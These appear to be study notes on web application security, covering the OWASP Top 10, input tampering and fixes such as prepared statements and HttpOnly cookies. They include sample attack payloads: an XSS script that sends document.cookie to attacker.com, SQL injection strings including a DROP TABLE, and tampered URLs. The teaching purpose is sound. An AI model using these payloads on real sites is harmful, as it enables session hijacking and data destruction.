Security and Vulnerability for Web Applications

What are Securities in a Product:
    Web Application Security,
    Network Security, 
    Infrastructure Security, 
    Database Security, and
    Operational Security.
    
What are Vulnerabilities: Unchecked input while processing at Server Side, which results malicious changes in Web App.

Why Security and Vulnerability Need to be addressed: 
    For PCI-DSS Compliance 
    Securing Applications from Hackers
    Saving Innocent Consumers
    
Agenda: What is Web Application Security?
Web Application Security: Deals specifically with security of websites and web applications. A majority of the attacks against 
Web servers are through network firewalls and through the http(80) or https(443) ports. Some of the most commonly used hacking
techniques include Denial of service, Leakage, Cross-site scripting, SQL injection. DENIAL OF SERVICE: Attacks causes Excessive 
CPU Consumption, Excessive Disk I/O Consumption and Excessive Network I/O Consumption, causes service not available to real users.
    
An attacker has two goals for this:
    1) Inject malicious data into Web App.
    2) Manipulate Web App using malicious data.

1) Inject malicious data into Web App.
Parameter Tampering
URL Manipulation
Hidden Field Manipulation
HTTP Header Tampering
Cookie Poisoning

2) Manipulate Web App using malicious data.
SQL Injection
Cross-Site Scripting
HTTP Response Splitting
Path Traversal
Command Injection


OWASP: Open Web Application Security Project
It is an Online community which creates freely-available articles, methodologies, tools and technologies in the 
field of web application security. OWASP was started on September 9, 2001.

OWASP came with Top 10 types of regular critical issues which was first published in 2003 and is regularly updated.
OWASP Site list out the issue and their solutions too in their respective Testing Guide, which can be checked.
OWASP is the de facto standard for designing and testing secure web applications.


Other guidelines are:
    Threat Modeling processes such as STRIDE and DREAD
    OWASP’s Software Assurance Maturity Model (OpenSAMM)
    Open Security Testing Methodology Manual (OSTMM)
    Web Application Security Consortium (WASC) guidelines

Testing of Web Application before build release to Production is called Vulnerability Assessment and Penetration Testing (VAPT).
Which company does this security testing: Paladion, Veracode, Netragard, IBM Rational.


OWASP Top 10 Issues:
A1- Injection: SQL, OS, LDAP Injection as part of a command or Query.
A2- Broken Authentication and Session Management: Attackers hijack sessions, get hold of session tokens and Passwords 
    if these are not implemented correctly in web applications. 
    Ex: Airline reservations application supports URL rewriting, putting session IDs in the URL:
    http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
    An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without 
    knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.
    http://example.com/sale/saleitems?sessionid=268544541&dest=Hawaii
    
    Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” 
    the user simply closes the browser tab and walks away. Attacker uses the same browser Few Minutes Later, and that browser 
    is still authenticated.
    
A3- Cross Site Script (XSS): XSS allows attackers to execute Java Scripts in the victim's browser which can hijack 
    user sessions, deface web sites or redirect the user to malicious sites.
    
    http://www.example.com/saveComment?comment=Great+Site!
    Server Reply:
        <h3> Thank you for your comments! </h3>
        You wrote:
        <p/>
        Great Site!
        <p/>
    
    http://wwww.example.com/saveComment?comment=<script>alert('xss');</script>
    Server Reply: 
        <h3>Thank you for your comments!</h3>
        You wrote:
        <p/>
        <script>alert('xss');</script>
        <p/>
    
    The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
    (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
    The attacker modifies the 'CC' parameter in their browser to:
    '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

    This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
    Solution: Replace "<", "Script" kind of words/characters with html encoded entities.
    
A4- Insecure Direct Object References: This occurs when a developer exposes a reference to an internal implementation 
    object such as file, directory, database username/password without an access control check.
    String query = "SELECT * FROM accts WHERE account = ?";
    PreparedStatement pstmt = connection.prepareStatement(query , … );
    pstmt.setString( 1, request.getParameter("acct"));
    ResultSet results = pstmt.executeQuery( );
    http://example.com/app/accountInfo?acct=notmyacct  (Modified by hacker).

A5- Security Misconfiguration: Security settings must be defined in prod environment. Default Security Settings are 
    often insecure. Softwares too must be kept upto date with all security patch installation.

A6- Sensitive Data Exposure: CreditCards, DOB, Authentication Credentials, CVV2. Attackers may steal or modify such 
    weekly protected data to conduct Credit Card Fraud, Identity Theft. These data must be encrypted and kept.    

A7- Missing Function Level Access Control (Private, Public visibility of URLs and Patterns.) In our case, only "/csr"
    link is visible from CSR from public IP. 
    http://example.com/app/getappInfo  
    http://example.com/app/admin_getappInfo   (admin has logged in, next time hacker simply will use this URL.)
    If an unauthenticated user can access either page, that’s a flaw. If an authenticated, non-admin, user is allowed 
    to access the admin_getappInfo page, this is also a flaw.
    
A8- Cross Site Request Forgery (CSRF): Attacker sends a forged HTTP Request page, including session cookie and any other 
    authentication information and get the job done. It is also known as a one-click attack or session riding and abbreviated 
    as CSRF or XSRF.

A9- Using Components with Known Vulnerabilities: Libraries, Frameworks, other software components with knows vulnerabilites 
    are prone to attack. These causes serious data loss or server takeover. Should read the third party components issues and loopholes.
    
A10-Unvalidated Redirects and Forwards: Attackers can redirect Victims to phishing or malware sites or use forwards to 
    access unauthorized pages. Ex: The application has a page called “redirect.jsp” which takes a single parameter named “url”. 
    The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.
    http://www.example.com/redirect.jsp?url=evil.com


    
1) Inject malicious data into Web App.
Parameter Tampering: Parameter Pollution Attack
    http://localhost:9090/MyDiaryWeb/sum?n1=45&n1=4&n2=50
    
URL Manipulation:     
        Original: http://www.mybank.com/myaccount?accountnumber=11111&debit_amount=100
        Modified: http://www.mybank.com/myaccount?accountnumber=11111&debit_amount=-5000  (Increase the account balance)

Hidden Field Manipulation: 
    Set hidden fields of HTML forms in Web pages to malicious values. Because HTTP is stateless, many Web applications use 
    hidden fields to emulate persistence. Hidden fields are just form fields made invisible to the end-user. 
    For example, consider an order form that includes a hidden field to store the price of items in the shopping cart:
    <input type="hidden" name="total_price" value="25.00">    
    A typical Web site using multiple forms, such as an online store will likely rely on hidden fields to transfer state 
    information between pages. Unlike regular fields, hidden fields cannot be modified directly by typing values into an 
    HTML form. However saving the HTML page, editing the hidden field value, and reloading the page will cause the Web 
    application to receive the newly updated value of the hidden field.
    
HTTP Header Tampering: Manipulate parts of HTTP Header Requests sent to the application.

Cookie Poisoning: Place malicious data in cookies, small files sent to Web-based applications.
    Many Web applications use cookies to store information such as user login/password pairs and user identifiers. 
    This information is often created and stored on the user's computer after the initial interaction with the Web application, 
    such as visiting the application login page. Cookie poisoning is a variation of header manipulation: malicious input can be 
    passed into applications through values stored within cookies. Because cookies are supposedly invisible to the user, cookie 
    poisoning is often more dangerous in practice than other forms of parameter or header manipulation attacks.

2) Manipulate Web App using malicious data.
SQL Injection: Pass input containing SQL commands to a database server for execution.
Cross-Site Scripting: exploit applications that output unchecked input and trick the user into executing malicious scripts.
HTTP Response Splitting: 
Path traversal: exploit unchecked user input to control which files are accessed on the server.
Command Injection: exploit user input to execute shell commands.
Password-Guessing attack: Brute Force Attacks with different combination of Letters, Numbers and Symbols, till it cracks.


Other Security issues:
1) Broken Link: A broken link refers to any link that should take you to a document, image or webpage, that actually results 
    in an error. This page was linked from the website but it is inaccessible.

2) Cookies must be set with "HTTPOnly" flag set. When a cookie is set with the HTTPOnly flag, it instructs the browser that the 
    cookie can only be accessed by the server and not by client-side scripts. This is an important security protection 
    for session cookies. HTTPOnly limits the ability of JavaScript and other client-side scripts to access cookie data. 
    This cookie attribute will prevent JavaScript from reading or writing to HTMLOnly labeled cookies, preventing some forms 
    of cross-site scripting. 
    response.setHeader("SET-COOKIE", "JSESSIONID=" + session.getId() + "; Path=/csr; HttpOnly; Secure");    
    
3) Clickjacking is a malicious technique of tricking a Web user into clicking on something different from what the user perceives 
    they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking 
    on seemingly innocuous (not injurious) web pages. Solution is the server should return an X-Frame-Options header which means 
    that their content is not embedded into other sites. Sites can use this to avoid clickjacking attacks. 
    response.setHeader( "X-FRAME-OPTIONS", "DENY" );
    
4) HTTP OPTIONS method should be Disabled on the web server. The OPTIONS method provides a list of the methods that are supported 
    by the web server, it represents a request for information about the communication options available on the request/response chain.    
    This will enable more advanced attacks by hackers. Solution is Config change in web.xml (below config will disable all methods
    except HEAD and GET):
     <security-constraint>
        <web-resource-collection>
            <web-resource-name><strong>restricted methods</strong></web-resource-name>
            <url-pattern>/*</url-pattern>
            <http-method>PUT</http-method>
            <http-method>POST</http-method>
            <http-method>DELETE</http-method>
            <http-method>OPTIONS</http-method>
            <http-method>TRACE</http-method>
        </web-resource-collection>
        <auth-constraint />
    </security-constraint>

5) Restrict access to the Web Server (JBOSS) Web Service Console, Management Console, Index pages apart from Web App.    

Solutions:
SQL Injection: Use PreparedStatement, get the values and use setInt, setString, setDate kind of APIs.
    String sql = "SELECT * FROM ACCOUNTS where ACC_ID='"+accId+"'";
    
    //http://localhost:9090/MyDiaryWeb/account?accId=1000' OR '1'='1
    //SELECT * FROM ACCOUNTS WHERE ACC_ID = '   1000' or '1'='1   ';
    
    //http://localhost:9090/MyDiaryWeb/account?accId=1000'; DROP TABLE Suppliers;
    //SELECT * FROM ACCOUNTS WHERE ACC_ID = '1000'; DROP TABLE Suppliers;
Parameter/Field Manipulation: Use Request, Session Tokens and Change on every Click in CSR.
Code Review.
Change JSessionId on Every Click in Web Application. To do this "Store all Session variables into new Session except JSessionId".
Lock the Account to save User from Password Guessing Attack after a defined number of incorrect password attempts.


Tools Used For Reproducing Issue and Fix Testing:
    OWASP CSRF Tester
    BurpSuite
    Acunetix